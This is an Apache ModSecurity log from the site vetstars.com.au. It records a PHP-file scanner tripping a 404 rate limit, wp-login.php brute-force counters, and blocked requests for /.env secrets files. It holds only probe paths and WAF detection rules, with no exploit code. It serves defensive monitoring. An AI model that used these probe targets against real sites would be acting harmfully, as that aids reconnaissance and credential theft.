[Sat Apr 25 06:57:46.317869 2026] [:error] [pid 46083:tid 46105] [client 20.251.112.6:54043] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asdf.php"] [unique_id "aev1ajxw_Zq74vWdjmlFXgAAARI"]
[Sat Apr 25 06:57:46.840704 2026] [:error] [pid 46083:tid 46103] [client 20.251.112.6:61183] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asdf.php"] [unique_id "aev1ajxw_Zq74vWdjmlFYAAAARA"]
[Sat Apr 25 06:57:47.362791 2026] [:error] [pid 44321:tid 44385] [client 20.251.112.6:45437] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asdf.php"] [unique_id "aev1a41b5lV-asWa_Y40DQAAAII"]
[Sat Apr 25 06:57:47.883271 2026] [:error] [pid 44425:tid 44434] [client 20.251.112.6:51922] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asdf.php"] [unique_id "aev1ayUl-VlItvY2tR8W9QAAAMc"]
[Sat Apr 25 06:57:48.409224 2026] [:error] [pid 46083:tid 46100] [client 20.251.112.6:58534] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aev1bDxw_Zq74vWdjmlFZAAAAQ0"]
[Sat Apr 25 06:57:48.930365 2026] [:error] [pid 44321:tid 44395] [client 20.251.112.6:60443] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aev1bI1b5lV-asWa_Y40EAAAAIw"]
[Sat Apr 25 06:57:49.451963 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:58518] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aev1bTxw_Zq74vWdjmlFaQAAAQE"]
[Sat Apr 25 06:57:49.969656 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:42146] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aev1bTxw_Zq74vWdjmlFawAAAQg"]
[Sat Apr 25 06:57:50.487021 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:60447] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/._info.php"] [unique_id "aev1bjxw_Zq74vWdjmlFbQAAAQA"]
[Sat Apr 25 06:57:51.013454 2026] [:error] [pid 44425:tid 44427] [client 20.251.112.6:55966] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/._info.php"] [unique_id "aev1byUl-VlItvY2tR8W-QAAAMA"]
[Sat Apr 25 06:57:51.532286 2026] [:error] [pid 46083:tid 46109] [client 20.251.112.6:45395] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/._info.php"] [unique_id "aev1bzxw_Zq74vWdjmlFcQAAARU"]
[Sat Apr 25 06:57:52.051439 2026] [:error] [pid 44321:tid 44405] [client 20.251.112.6:55963] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/._info.php"] [unique_id "aev1cI1b5lV-asWa_Y40FAAAAJY"]
[Sat Apr 25 06:57:52.570393 2026] [:error] [pid 44321:tid 44401] [client 20.251.112.6:60442] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_flag.php"] [unique_id "aev1cI1b5lV-asWa_Y40FgAAAJI"]
[Sat Apr 25 06:57:53.097767 2026] [:error] [pid 44425:tid 44440] [client 20.251.112.6:44368] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_flag.php"] [unique_id "aev1cSUl-VlItvY2tR8W_AAAAM0"]
[Sat Apr 25 06:57:53.618345 2026] [:error] [pid 44321:tid 44406] [client 20.251.112.6:45429] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_flag.php"] [unique_id "aev1cY1b5lV-asWa_Y40GQAAAJc"]
[Sat Apr 25 06:57:54.138141 2026] [:error] [pid 44425:tid 44436] [client 20.251.112.6:55992] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_flag.php"] [unique_id "aev1ciUl-VlItvY2tR8W_wAAAMk"]
[Sat Apr 25 06:57:54.661109 2026] [:error] [pid 44425:tid 44431] [client 20.251.112.6:64687] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_info4.php"] [unique_id "aev1ciUl-VlItvY2tR8XAQAAAMQ"]
[Sat Apr 25 06:57:55.193039 2026] [:error] [pid 44425:tid 44432] [client 20.251.112.6:58537] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_info4.php"] [unique_id "aev1cyUl-VlItvY2tR8XBAAAAMU"]
[Sat Apr 25 06:57:55.713615 2026] [:error] [pid 46083:tid 46090] [client 20.251.112.6:63326] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_info4.php"] [unique_id "aev1czxw_Zq74vWdjmlFdQAAAQM"]
[Sat Apr 25 06:57:56.252938 2026] [:error] [pid 46083:tid 46111] [client 20.251.112.6:63352] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_info4.php"] [unique_id "aev1dDxw_Zq74vWdjmlFdwAAARc"]
[Sat Apr 25 06:57:56.773483 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:51923] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aev1dCUl-VlItvY2tR8XCAAAAM4"]
[Sat Apr 25 06:57:57.299727 2026] [:error] [pid 44425:tid 44445] [client 20.251.112.6:57873] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aev1dSUl-VlItvY2tR8XCgAAANI"]
[Sat Apr 25 06:57:57.821213 2026] [:error] [pid 44425:tid 44444] [client 20.251.112.6:42124] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aev1dSUl-VlItvY2tR8XDAAAANE"]
[Sat Apr 25 06:57:58.345499 2026] [:error] [pid 46083:tid 46092] [client 20.251.112.6:48040] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aev1djxw_Zq74vWdjmlFfAAAAQU"]
[Sat Apr 25 06:57:58.865289 2026] [:error] [pid 46083:tid 46109] [client 20.251.112.6:51936] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HsFPDcD.php"] [unique_id "aev1djxw_Zq74vWdjmlFfgAAARU"]
[Sat Apr 25 06:57:59.386953 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:46042] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HsFPDcD.php"] [unique_id "aev1dzxw_Zq74vWdjmlFgwAAAQQ"]
[Sat Apr 25 06:57:59.916314 2026] [:error] [pid 44425:tid 44446] [client 20.251.112.6:57312] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HsFPDcD.php"] [unique_id "aev1dyUl-VlItvY2tR8XDwAAANM"]
[Sat Apr 25 06:58:00.440961 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:51925] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HsFPDcD.php"] [unique_id "aev1eDxw_Zq74vWdjmlFhwAAAQE"]
[Sat Apr 25 06:58:00.962569 2026] [:error] [pid 44425:tid 44443] [client 20.251.112.6:51911] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.inc.php"] [unique_id "aev1eCUl-VlItvY2tR8XEgAAANA"]
[Sat Apr 25 06:58:01.480522 2026] [:error] [pid 46083:tid 46111] [client 20.251.112.6:51937] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.inc.php"] [unique_id "aev1eTxw_Zq74vWdjmlFiwAAARc"]
[Sat Apr 25 06:58:02.000872 2026] [:error] [pid 44319:tid 44331] [client 20.251.112.6:51954] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.inc.php"] [unique_id "aev1eczJPAVLUb2pWtJaaAAAAAI"]
[Sat Apr 25 06:58:02.519518 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:57894] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.inc.php"] [unique_id "aev1ejxw_Zq74vWdjmlFjAAAAQA"]
[Sat Apr 25 06:58:03.041105 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:35569] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aev1ezxw_Zq74vWdjmlFjQAAARE"]
[Sat Apr 25 06:58:03.558941 2026] [:error] [pid 44425:tid 44448] [client 20.251.112.6:52608] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aev1eyUl-VlItvY2tR8XGgAAANU"]
[Sat Apr 25 06:58:04.078256 2026] [:error] [pid 46083:tid 46109] [client 20.251.112.6:37123] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aev1fDxw_Zq74vWdjmlFkAAAARU"]
[Sat Apr 25 06:58:04.598841 2026] [:error] [pid 44321:tid 44396] [client 20.251.112.6:49754] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aev1fI1b5lV-asWa_Y40HwAAAI0"]
[Sat Apr 25 06:58:05.130972 2026] [:error] [pid 44319:tid 44350] [client 20.251.112.6:46034] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aev1fczJPAVLUb2pWtJaaQAAABU"]
[Sat Apr 25 06:58:05.649737 2026] [:error] [pid 46083:tid 46096] [client 20.251.112.6:35535] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aev1fTxw_Zq74vWdjmlFlAAAAQk"]
[Sat Apr 25 06:58:06.173139 2026] [:error] [pid 46083:tid 46093] [client 20.251.112.6:48029] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aev1fjxw_Zq74vWdjmlFlgAAAQY"]
[Sat Apr 25 06:58:06.692662 2026] [:error] [pid 44320:tid 44356] [client 20.251.112.6:35544] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aev1fjmFqSpku_dij8h9tAAAAEA"]
[Sat Apr 25 06:58:07.211519 2026] [:error] [pid 44319:tid 44337] [client 20.251.112.6:45380] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_version.php"] [unique_id "aev1f8zJPAVLUb2pWtJaawAAAAg"]
[Sat Apr 25 06:58:07.729135 2026] [:error] [pid 44320:tid 44375] [client 20.251.112.6:48006] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_version.php"] [unique_id "aev1fzmFqSpku_dij8h9twAAAFM"]
[Sat Apr 25 06:58:08.249690 2026] [:error] [pid 44425:tid 44443] [client 20.251.112.6:49734] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_version.php"] [unique_id "aev1gCUl-VlItvY2tR8XIAAAANA"]
[Sat Apr 25 06:58:08.779736 2026] [:error] [pid 44425:tid 44431] [client 20.251.112.6:52719] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_version.php"] [unique_id "aev1gCUl-VlItvY2tR8XIgAAAMQ"]
[Sat Apr 25 06:58:09.299305 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:47539] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aev1gTxw_Zq74vWdjmlFmAAAAQQ"]
[Sat Apr 25 06:58:09.823598 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:48012] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aev1gTmFqSpku_dij8h9vAAAAEQ"]
[Sat Apr 25 06:58:10.342120 2026] [:error] [pid 44320:tid 44365] [client 20.251.112.6:47501] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aev1gjmFqSpku_dij8h9vQAAAEk"]
[Sat Apr 25 06:58:10.858580 2026] [:error] [pid 46083:tid 46110] [client 20.251.112.6:60500] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aev1gjxw_Zq74vWdjmlFnQAAARY"]
[Sat Apr 25 06:58:11.377512 2026] [:error] [pid 46083:tid 46102] [client 20.251.112.6:63235] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/profmanage.php"] [unique_id "aev1gzxw_Zq74vWdjmlFnwAAAQ8"]
[Sat Apr 25 06:58:11.898412 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:43748] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/profmanage.php"] [unique_id "aev1gzxw_Zq74vWdjmlFoQAAAQA"]
[Sat Apr 25 07:09:36.849978 2026] [:error] [pid 44321:tid 44398] [client 143.198.154.102:57570] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.154.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aev4MI1b5lV-asWa_Y42NAAAAI8"]
[Sat Apr 25 08:50:48.682358 2026] [:error] [pid 44319:tid 44337] [client 36.111.67.189:59502] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aewP6MzJPAVLUb2pWtJrwAAAAAg"]
[Sat Apr 25 09:24:09.865049 2026] [:error] [pid 44320:tid 44376] [client 5.189.168.141:53298] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.168.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aewXuTmFqSpku_dij8iV2gAAAFQ"]
[Sat Apr 25 09:24:48.192327 2026] [:error] [pid 46083:tid 46089] [client 5.135.142.201:47300] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.142.201, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aewX4Dxw_Zq74vWdjmmFrQAAAQI"]
[Sat Apr 25 11:40:29.092923 2026] [:error] [pid 46083:tid 46110] [client 195.178.110.105:42990] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aew3rTxw_Zq74vWdjmnBtwAAARY"]
[Sat Apr 25 11:40:29.095129 2026] [:error] [pid 44321:tid 44397] [client 195.178.110.105:42898] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aew3rY1b5lV-asWa_Y51xQAAAI4"]
